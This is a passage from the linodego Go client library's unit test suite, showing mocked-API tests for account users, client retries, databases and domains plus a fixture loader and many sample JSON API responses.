fixtureData) user, err := base.Client.UpdateUser(context.Background(), "adevi", requestData) assert.NoError(t, err) assert.Equal(t, "jkowalski@linode.com", user.Email) assert.Equal(t, true, user.Restricted) assert.Equal(t, []string{"home-pc", "laptop"}, user.SSHKeys) assert.Equal(t, true, user.TFAEnabled) assert.Equal(t, linodego.UserType("parent"), user.UserType) assert.Equal(t, "adevi", user.Username) assert.Equal(t, "+5555555555", *user.VerifiedPhoneNumber) } func TestAccountUsers_Delete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "account/users/example-user"), httpmock.NewStringResponder(200, "{}")) if err := client.DeleteUser(context.Background(), "example-user"); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/base.go000066400000000000000000000036211474652371000226120ustar00rootroot00000000000000package unit import ( "net/http" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/linode/linodego/internal/testutil" "github.com/stretchr/testify/mock" ) type MockResponse struct { StatusCode int Body interface{} } // ClientBaseCase provides a base for unit tests type ClientBaseCase struct { Client *linodego.Client Mock *mock.Mock BaseURL string // Base URL up to /v4 } // SetUp initializes the Linode client using the mock HTTP client func (c *ClientBaseCase) SetUp(t *testing.T) { c.Mock = &mock.Mock{} c.Client = testutil.CreateMockClient(t, linodego.NewClient) c.BaseURL = "https://api.linode.com/v4/" } func (c *ClientBaseCase) TearDown(t *testing.T) { httpmock.DeactivateAndReset() // Reset HTTP mock after tests c.Mock.AssertExpectations(t) } // MockGet mocks a GET request to the client func (c *ClientBaseCase) MockGet(path string, response interface{}) { fullURL := c.BaseURL + path httpmock.RegisterResponder("GET", fullURL, httpmock.NewJsonResponderOrPanic(http.StatusOK, response)) } // MockPost mocks a POST request for a given path with the provided response body func (c *ClientBaseCase) MockPost(path string, response interface{}) { fullURL := c.BaseURL + path httpmock.RegisterResponder("POST", fullURL, httpmock.NewJsonResponderOrPanic(http.StatusOK, response)) } // MockPut mocks a PUT request for a given path with the provided response body func (c *ClientBaseCase) MockPut(path string, response interface{}) { fullURL := c.BaseURL + path httpmock.RegisterResponder("PUT", fullURL, httpmock.NewJsonResponderOrPanic(http.StatusOK, response)) } // MockDelete mocks a DELETE request for a given path with the provided response body func (c *ClientBaseCase) MockDelete(path string, response interface{}) { fullURL := c.BaseURL + path httpmock.RegisterResponder("DELETE", fullURL, httpmock.NewJsonResponderOrPanic(http.StatusOK, response)) } golang-github-linode-linodego-1.47.0/test/unit/client_test.go000066400000000000000000000027101474652371000242130ustar00rootroot00000000000000package unit import ( "context" "net/http" "testing" "golang.org/x/net/http2" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestClient_NGINXRetry(t *testing.T) { client := createMockClient(t) // Recreate the NGINX LB error nginxErrorFunc := func(request *http.Request) (*http.Response, error) { resp := httpmock.NewStringResponse(400, "") resp.Header.Add("Server", "nginx") resp.Header.Set("Content-Type", "text/html") return resp, nil } step := 0 httpmock.RegisterRegexpResponder("PUT", mockRequestURL(t, "/profile"), func(request *http.Request) (*http.Response, error) { if step == 0 { step++ return nginxErrorFunc(request) } step++ return httpmock.NewJsonResponse(200, nil) }) if _, err := client.UpdateProfile(context.Background(), linodego.ProfileUpdateOptions{}); err != nil { t.Fatal(err) } if step != 2 { t.Fatalf("retry checks did not finish") } } func TestClient_GoAwayRetry(t *testing.T) { client := createMockClient(t) step := 0 httpmock.RegisterRegexpResponder("PUT", mockRequestURL(t, "/profile"), func(request *http.Request) (*http.Response, error) { if step == 0 { step++ return nil, http2.GoAwayError{} } step++ return httpmock.NewJsonResponse(200, nil) }) if _, err := client.UpdateProfile(context.Background(), linodego.ProfileUpdateOptions{}); err != nil { t.Fatal(err) } if step != 2 { t.Fatalf("retry checks did not finish") } } golang-github-linode-linodego-1.47.0/test/unit/database_test.go000066400000000000000000000117371474652371000245120ustar00rootroot00000000000000package unit import ( "context" "encoding/json" "fmt" "slices" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestListDatabases(t *testing.T) { fixtureData, err := fixtures.GetFixture("databases_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/instances", fixtureData) databases, err := base.Client.ListDatabases(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, databases, "Expected non-empty database list") } func TestGetDatabaseEngine(t *testing.T) { fixtureData, err := fixtures.GetFixture("database_engine_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) engineID := "mysql-8" base.MockGet(fmt.Sprintf("databases/engines/%s", engineID), fixtureData) databaseEngine, err := base.Client.GetDatabaseEngine(context.Background(), &linodego.ListOptions{}, engineID) assert.NoError(t, err) assert.NotNil(t, databaseEngine, "Expected database engine object to be returned") assert.Equal(t, engineID, databaseEngine.ID, "Expected correct database engine ID") assert.Equal(t, "mysql", databaseEngine.Engine, "Expected MySQL engine") assert.Equal(t, "8.0", databaseEngine.Version, "Expected MySQL 8.0 version") } func TestListDatabaseTypes(t *testing.T) { fixtureData, err := fixtures.GetFixture("database_types_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/types", fixtureData) databaseTypes, err := base.Client.ListDatabaseTypes(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, databaseTypes, "Expected non-empty database types list") } func TestUnmarshalDatabase(t *testing.T) { fixtureData, err := fixtures.GetFixture("database_unmarshal") assert.NoError(t, err) var data []byte switch v := fixtureData.(type) { case []byte: data = v case string: data = []byte(v) case map[string]interface{}: data, err = json.Marshal(v) // Convert map to JSON string assert.NoError(t, err, "Failed to marshal fixtureData") default: assert.Fail(t, "Unexpected fixtureData type") } var db linodego.Database err = json.Unmarshal(data, &db) assert.NoError(t, err) assert.Equal(t, 123, db.ID, "Expected correct database ID") assert.Equal(t, "active", string(db.Status), "Expected active status") assert.Equal(t, "mysql", db.Engine, "Expected MySQL engine") assert.Equal(t, 3, db.ClusterSize, "Expected cluster size 3") assert.NotNil(t, db.Created, "Expected Created timestamp to be set") } func TestDatabaseMaintenanceWindowUnmarshal(t *testing.T) { fixtureData, err := fixtures.GetFixture("database_maintenance_window") assert.NoError(t, err) var data []byte switch v := fixtureData.(type) { case []byte: data = v case string: data = []byte(v) case map[string]interface{}: data, err = json.Marshal(v) assert.NoError(t, err, "Failed to marshal fixtureData") default: assert.Fail(t, "Unexpected fixtureData type") } var window linodego.DatabaseMaintenanceWindow err = json.Unmarshal(data, &window) assert.NoError(t, err) assert.Equal(t, linodego.DatabaseMaintenanceDayMonday, window.DayOfWeek, "Expected Monday as maintenance day") assert.Equal(t, 2, window.Duration, "Expected 2-hour maintenance window") assert.Equal(t, linodego.DatabaseMaintenanceFrequencyWeekly, window.Frequency, "Expected weekly frequency") assert.Equal(t, 3, window.HourOfDay, "Expected maintenance at 3 AM") } func TestDatabaseStatusAssertions(t *testing.T) { expectedStatuses := []string{ "provisioning", "active", "deleting", "deleted", "suspending", "suspended", "resuming", "restoring", "failed", "degraded", "updating", "backing_up", } statuses := []linodego.DatabaseStatus{ linodego.DatabaseStatusProvisioning, linodego.DatabaseStatusActive, linodego.DatabaseStatusDeleting, linodego.DatabaseStatusDeleted, linodego.DatabaseStatusSuspending, linodego.DatabaseStatusSuspended, linodego.DatabaseStatusResuming, linodego.DatabaseStatusRestoring, linodego.DatabaseStatusFailed, linodego.DatabaseStatusDegraded, linodego.DatabaseStatusUpdating, linodego.DatabaseStatusBackingUp, } for _, status := range statuses { t.Run(string(status), func(t *testing.T) { exists := slices.ContainsFunc(expectedStatuses, func(s string) bool { return s == string(status) }) assert.True(t, exists, fmt.Sprintf("Expected status %s to exist", status)) }) } } func TestDatabaseMaintenanceFrequencyAssertions(t *testing.T) { expectedFrequencies := []string{"weekly", "monthly"} frequencies := []linodego.DatabaseMaintenanceFrequency{ linodego.DatabaseMaintenanceFrequencyWeekly, linodego.DatabaseMaintenanceFrequencyMonthly, } for _, freq := range frequencies { t.Run(string(freq), func(t *testing.T) { exists := slices.ContainsFunc(expectedFrequencies, func(f string) bool { return f == string(freq) }) assert.True(t, exists, fmt.Sprintf("Expected frequency %s to exist", freq)) }) } } golang-github-linode-linodego-1.47.0/test/unit/domain_test.go000066400000000000000000000024711474652371000242100ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestDomain_Clone(t *testing.T) { fixtureData, err := fixtures.GetFixture("domain_clone") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.DomainCloneOptions{ Domain: "linodego-domain-clone.com", } domainToCloneID := 123 base.MockPost(formatMockAPIPath("domains/%d/clone", domainToCloneID), fixtureData) domain, err := base.Client.CloneDomain(context.Background(), domainToCloneID, requestData) assert.NoError(t, err) assert.Equal(t, "linodego-domain-clone.com", domain.Domain) assert.Equal(t, "admin@example.org", domain.SOAEmail) } func TestDomain_Import(t *testing.T) { fixtureData, err := fixtures.GetFixture("domain_import") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.DomainImportOptions{ Domain: "linodego-domain-import.com", RemoteNameserver: "linodego-domain-import-nameserver.com", } base.MockPost("domains/import", fixtureData) domain, err := base.Client.ImportDomain(context.Background(), requestData) assert.NoError(t, err) assert.Equal(t, "example.org", domain.Domain) assert.Equal(t, "admin@example.org", domain.SOAEmail) } golang-github-linode-linodego-1.47.0/test/unit/fixtures.go000066400000000000000000000030211474652371000235430ustar00rootroot00000000000000package unit import ( "embed" "encoding/json" "fmt" "path/filepath" "strings" ) //go:embed fixtures/*.json var fixtureFiles embed.FS // TestFixtures manages loading and retrieving test fixtures type TestFixtures struct { fixtures map[string]interface{} } // NewTestFixtures creates a new TestFixtures instance func NewTestFixtures() *TestFixtures { tf := &TestFixtures{} tf.loadFixtures() return tf } // loadFixtures loads all embedded JSON files func (tf *TestFixtures) loadFixtures() { tf.fixtures = make(map[string]interface{}) entries, err := fixtureFiles.ReadDir("fixtures") if err != nil { panic(fmt.Sprintf("failed to read embedded fixtures: %v", err)) } for _, entry := range entries { if !entry.IsDir() && filepath.Ext(entry.Name()) == ".json" { // Read the embedded JSON file data, err := fixtureFiles.ReadFile("fixtures/" + entry.Name()) if err != nil { panic(fmt.Sprintf("failed to read fixture %s: %v", entry.Name(), err)) } var jsonData interface{} if err := json.Unmarshal(data, &jsonData); err != nil { panic(fmt.Sprintf("failed to unmarshal fixture %s: %v", entry.Name(), err)) } // Remove ".json" from the file name fixtureName := strings.TrimSuffix(entry.Name(), ".json") tf.fixtures[fixtureName] = jsonData } } } // GetFixture retrieves the fixture data for the given name func (tf *TestFixtures) GetFixture(name string) (interface{}, error) { data, ok := tf.fixtures[name] if !ok { return nil, fmt.Errorf("fixture not found: %s", name) } return data, nil } golang-github-linode-linodego-1.47.0/test/unit/fixtures/000077500000000000000000000000001474652371000232205ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_agreements_get.json000066400000000000000000000001241474652371000306150ustar00rootroot00000000000000{ "eu_model": true, "master_service_agreement": true, "privacy_policy": true }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_availability_get.json000066400000000000000000000002201474652371000311320ustar00rootroot00000000000000{ "available": [ "Linodes", "NodeBalancers" ], "region": "us-east", "unavailable": [ "Kubernetes", "Block Storage" ] }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_availability_list.json000066400000000000000000000133241474652371000313370ustar00rootroot00000000000000{ "data": [ { "region": "us-central", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-west", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-southeast", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-east", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "eu-west", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "ap-south", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "eu-central", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "ap-northeast", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "ap-west", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "ca-central", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "ap-southeast", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-iad", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-ord", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "fr-par", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-sea", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "br-gru", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "nl-ams", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "se-sto", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "es-mad", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "in-maa", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "jp-osa", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "it-mil", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-mia", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "id-cgk", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-lax", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "nz-akl-1", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-den-1", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "de-ham-1", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "fr-mrs-1", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "za-jnb-1", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "co-bog-1", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "mx-qro-1", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "us-hou-1", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "cl-scl-1", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "gb-lon", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "au-mel", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "in-bom-2", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "de-fra-2", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "sg-sin-2", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] }, { "region": "jp-tyo-3", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": [] } ], "page": 1, "pages": 1, "results": 40 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_beta_get.json000066400000000000000000000003341474652371000274010ustar00rootroot00000000000000{ "description": "This is an open public beta for an example feature.", "ended": null, "enrolled": "2023-09-11T00:00:00", "id": "example_open", "label": "Example Open Beta", "started": "2023-07-11T00:00:00" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_beta_list.json000066400000000000000000000004731474652371000276010ustar00rootroot00000000000000{ "data": [ { "description": "This is an open public beta for an example feature.", "ended": null, "enrolled": "2023-09-11T00:00:00", "id": "example_open", "label": "Example Open Beta", "started": "2023-07-11T00:00:00" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_child_create_token.json000066400000000000000000000002651474652371000314400ustar00rootroot00000000000000{ "created": "2024-05-01T00:01:01", "expiry": "2024-05-01T00:16:01", "id": 918, "label": "parent1_1234_2024-05-01T00:01:01", "scopes": "*", "token": "abcdefghijklmnop" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_child_get.json000066400000000000000000000012111474652371000275440ustar00rootroot00000000000000{ "active_since": "2018-01-01T00:01:01", "address_1": "123 Main Street", "address_2": "Suite A", "balance": 200, "balance_uninvoiced": 145, "billing_source": "external", "capabilities": [ "Linodes", "NodeBalancers", "Block Storage", "Object Storage" ], "city": "San Diego", "company": "Acme", "country": "US", "credit_card": { "expiry": "11/2024", "last_four": "1111" }, "email": "john.smith@linode.com", "euuid": "A1BC2DEF-34GH-567I-J890KLMN12O34P56", "first_name": "John", "last_name": "Smith", "phone": "858-555-1212", "state": "CA", "tax_id": "ATU99999999", "zip": "92111-1234" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_child_list.json000066400000000000000000000014741474652371000277530ustar00rootroot00000000000000{ "data": [ { "active_since": "2018-01-01T00:01:01", "address_1": "123 Main Street", "address_2": "Suite A", "balance": 200, "balance_uninvoiced": 145, "billing_source": "external", "capabilities": [ "Linodes", "NodeBalancers", "Block Storage", "Object Storage" ], "city": "San Diego", "company": "Acme", "country": "US", "credit_card": { "expiry": "11/2024", "last_four": "1111" }, "email": "john.smith@linode.com", "euuid": "A1BC2DEF-34GH-567I-J890KLMN12O34P56", "first_name": "John", "last_name": "Smith", "phone": "858-555-1212", "state": "CA", "tax_id": "ATU99999999", "zip": "92111-1234" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_events_get.json000066400000000000000000000010601474652371000277670ustar00rootroot00000000000000{ "action": "ticket_create", "created": "2018-01-01T00:01:01", "duration": 300.56, "entity": { "id": 11111, "label": "Problem booting my Linode", "type": "ticket", "url": "/v4/support/tickets/11111" }, "id": 123, "message": "None", "percent_complete": null, "rate": null, "read": true, "secondary_entity": { "id": "linode/debian9", "label": "linode1234", "type": "linode", "url": "/v4/linode/instances/1234" }, "seen": true, "status": "failed", "time_remaining": null, "username": "exampleUser" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_events_list.json000066400000000000000000000013271474652371000301710ustar00rootroot00000000000000{ "data": [ { "action": "ticket_create", "created": "2018-01-01T00:01:01", "duration": 300.56, "entity": { "id": 11111, "label": "Problem booting my Linode", "type": "ticket", "url": "/v4/support/tickets/11111" }, "id": 123, "message": "None", "percent_complete": null, "rate": null, "read": true, "secondary_entity": { "id": "linode/debian9", "label": "linode1234", "type": "linode", "url": "/v4/linode/instances/1234" }, "seen": true, "status": "failed", "time_remaining": null, "username": "exampleUser" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_get.json000066400000000000000000000022631474652371000264110ustar00rootroot00000000000000{ "active_promotions": [ { "credit_monthly_cap": "10.00", "credit_remaining": "50.00", "description": "Receive up to $10 off your services every month for 6 months! Unused credits will expire once this promotion period ends.", "expire_dt": "2018-01-31T23:59:59", "image_url": "https://linode.com/10_a_month_promotion.svg", "service_type": "all", "summary": "$10 off your Linode a month!", "this_month_credit_remaining": "10.00" } ], "active_since": "2018-01-01T00:01:01", "address_1": "123 Main Street", "address_2": "Suite A", "balance": 200, "balance_uninvoiced": 145, "billing_source": "akamai", "capabilities": [ "Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Placement Groups", "Block Storage Encryption" ], "city": "Philadelphia", "company": "Linode LLC", "country": "US", "credit_card": { "expiry": "11/2022", "last_four": "1111" }, "email": "john.smith@linode.com", "euuid": "E1AF5EEC-526F-487D-B317EBEB34C87D71", "first_name": "John", "last_name": "Smith", "phone": "215-555-1212", "state": "PA", "tax_id": "ATU99999999", "zip": "19102-1234" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_invoice_items_list.json000066400000000000000000000005171474652371000315220ustar00rootroot00000000000000{ "data": [ { "amount": 20.2, "from": "2018-01-01T00:01:01", "label": "Linode 123", "quantity": 4, "region": "us-west", "tax": 1.25, "to": "2018-01-31T11:59:59", "total": 21.45, "type": "hourly", "unit_price": 5.05 } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_invoices_get.json000066400000000000000000000003611474652371000303050ustar00rootroot00000000000000{ "billing_source": "linode", "date": "2018-01-01T00:01:01", "id": 123, "label": "Invoice", "subtotal": 120.25, "tax": 12.25, "tax_summary": [ { "name": "PA STATE TAX", "tax": 12.25 } ], "total": 132.5 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_invoices_list.json000066400000000000000000000005541474652371000305050ustar00rootroot00000000000000{ "data": [ { "billing_source": "linode", "date": "2018-01-01T00:01:01", "id": 123, "label": "Invoice", "subtotal": 120.25, "tax": 12.25, "tax_summary": [ { "name": "PA STATE TAX", "tax": 12.25 } ], "total": 132.5 } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_logins_get.json000066400000000000000000000002301474652371000277540ustar00rootroot00000000000000{ "datetime": "2018-01-01T00:01:01", "id": 1234, "ip": "192.0.2.0", "restricted": true, "status": "successful", "username": "example_user" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_logins_list.json000066400000000000000000000003671474652371000301630ustar00rootroot00000000000000{ "data": [ { "datetime": "2018-01-01T00:01:01", "id": 1234, "ip": "192.0.2.0", "restricted": true, "status": "successful", "username": "example_user" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_maintenance_list.json000066400000000000000000000006611474652371000311470ustar00rootroot00000000000000{ "data": [ { "entity": { "id": 1234, "label": "demo-linode", "type": "Linode", "url": "https://api.linode.com/v4/linode/instances/{linodeId}" }, "reason": "This maintenance will allow us to update the BIOS on the host's motherboard.", "status": "started", "type": "reboot", "when": "2020-07-09T00:01:01" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_notifications_list.json000066400000000000000000000007071474652371000315370ustar00rootroot00000000000000{ "data": [ { "body": null, "entity": { "id": 3456, "label": "Linode not booting.", "type": "ticket", "url": "/support/tickets/3456" }, "label": "You have an important ticket open!", "message": "You have an important ticket open!", "severity": "major", "type": "ticket_important", "until": null, "when": null } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_oauth_client_create.json000066400000000000000000000004301474652371000316250ustar00rootroot00000000000000{ "id": "2737bf16b39ab5d7b4a1", "label": "Test_Client_1", "public": false, "redirect_uri": "https://example.org/oauth/callback", "secret": "", "status": "active", "thumbnail_url": "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_oauth_client_get.json000066400000000000000000000004301474652371000311410ustar00rootroot00000000000000{ "id": "2737bf16b39ab5d7b4a1", "label": "Test_Client_1", "public": false, "redirect_uri": "https://example.org/oauth/callback", "secret": "", "status": "active", "thumbnail_url": "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_oauth_client_list.json000066400000000000000000000005731474652371000313450ustar00rootroot00000000000000{ "data": [ { "id": "2737bf16b39ab5d7b4a1", "label": "Test_Client_1", "public": false, "redirect_uri": "https://example.org/oauth/callback", "secret": "", "status": "active", "thumbnail_url": "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_oauth_client_reset.json000066400000000000000000000004301474652371000315040ustar00rootroot00000000000000{ "id": "2737bf16b39ab5d7b4a1", "label": "Test_Client_1", "public": false, "redirect_uri": "https://example.org/oauth/callback", "secret": "", "status": "active", "thumbnail_url": "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_oauth_client_update.json000066400000000000000000000004471474652371000316540ustar00rootroot00000000000000{ "id": "2737bf16b39ab5d7b4a1", "label": "Test_Client_1_Updated", "public": true, "redirect_uri": "https://example_updated.org/oauth/callback", "secret": "", "status": "active", "thumbnail_url": "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_payment_create.json000066400000000000000000000001031474652371000306210ustar00rootroot00000000000000{ "date": "2018-01-15T00:01:01", "id": 123, "usd": "120.50" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_payment_methods_get.json000066400000000000000000000003011474652371000316600ustar00rootroot00000000000000{ "created": "2018-01-15T00:01:01", "data": { "card_type": "Discover", "expiry": "06/2022", "last_four": "1234" }, "id": 123, "is_default": true, "type": "credit_card" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_payment_methods_list.json000066400000000000000000000004541474652371000320650ustar00rootroot00000000000000{ "data": [ { "created": "2018-01-15T00:01:01", "data": { "card_type": "Discover", "expiry": "06/2022", "last_four": "1234" }, "id": 123, "is_default": true, "type": "credit_card" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_promo_credits_add_promo_code.json000066400000000000000000000006441474652371000335220ustar00rootroot00000000000000{ "credit_monthly_cap": "10.00", "credit_remaining": "50.00", "description": "Receive up to $10 off your services every month for 6 months! Unused credits will expire once this promotion period ends.", "expire_dt": "2018-01-31T23:59:59", "image_url": "https://linode.com/10_a_month_promotion.svg", "service_type": "all", "summary": "$10 off your Linode a month!", "this_month_credit_remaining": "10.00" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_service_transfers_get.json000066400000000000000000000004151474652371000322150ustar00rootroot00000000000000{ "created": "2021-02-11T16:37:03", "entities": { "linodes": [ 111, 222 ] }, "expiry": "2021-02-12T16:37:03", "is_sender": true, "status": "pending", "token": "123E4567-E89B-12D3-A456-426614174000", "updated": "2021-02-11T16:37:03" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_service_transfers_list.json000066400000000000000000000006041474652371000324110ustar00rootroot00000000000000{ "data": [ { "created": "2021-02-11T16:37:03", "entities": { "linodes": [ 111, 222 ] }, "expiry": "2021-02-12T16:37:03", "is_sender": true, "status": "pending", "token": "123E4567-E89B-12D3-A456-426614174000", "updated": "2021-02-11T16:37:03" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_service_transfers_request.json000066400000000000000000000004151474652371000331260ustar00rootroot00000000000000{ "created": "2021-02-11T16:37:03", "entities": { "linodes": [ 111, 222 ] }, "expiry": "2021-02-12T16:37:03", "is_sender": true, "status": "pending", "token": "123E4567-E89B-12D3-A456-426614174000", "updated": "2021-02-11T16:37:03" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_settings_get.json000066400000000000000000000002121474652371000303210ustar00rootroot00000000000000{ "managed": false, "network_helper": true, "longview_subscription": null, "backups_enabled": true, "object_storage": "active" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_settings_update.json000066400000000000000000000002121474652371000310240ustar00rootroot00000000000000{ "managed": false, "network_helper": true, "longview_subscription": null, "backups_enabled": true, "object_storage": "active" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_transfer_get.json000066400000000000000000000002531474652371000303120ustar00rootroot00000000000000{ "billable": 0, "quota": 9141, "region_transfers": [ { "billable": 0, "id": "us-east", "quota": 5010, "used": 1 } ], "used": 2 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_update.json000066400000000000000000000022601474652371000271110ustar00rootroot00000000000000{ "active_promotions": [ { "credit_monthly_cap": "10.00", "credit_remaining": "50.00", "description": "Receive up to $10 off your services every month for 6 months! Unused credits will expire once this promotion period ends.", "expire_dt": "2018-01-31T23:59:59", "image_url": "https://linode.com/10_a_month_promotion.svg", "service_type": "all", "summary": "$10 off your Linode a month!", "this_month_credit_remaining": "10.00" } ], "active_since": "2018-01-01T00:01:01", "address_1": "123 Main Street", "address_2": "Suite A", "balance": 200, "balance_uninvoiced": 145, "billing_source": "akamai", "capabilities": [ "Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Placement Groups", "Block Storage Encryption" ], "city": "Cambridge", "company": "Linode LLC", "country": "US", "credit_card": { "expiry": "11/2022", "last_four": "1111" }, "email": "john.smith@linode.com", "euuid": "E1AF5EEC-526F-487D-B317EBEB34C87D71", "first_name": "John", "last_name": "Smith", "phone": "215-555-1212", "state": "MA", "tax_id": "ATU99999999", "zip": "19102-1234" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/account_user_grants_get.json000066400000000000000000000032751474652371000310310ustar00rootroot00000000000000{ "database": [ { "id": 123, "label": "example-entity", "permissions": "read_only" } ], "domain": [ { "id": 123, "label": 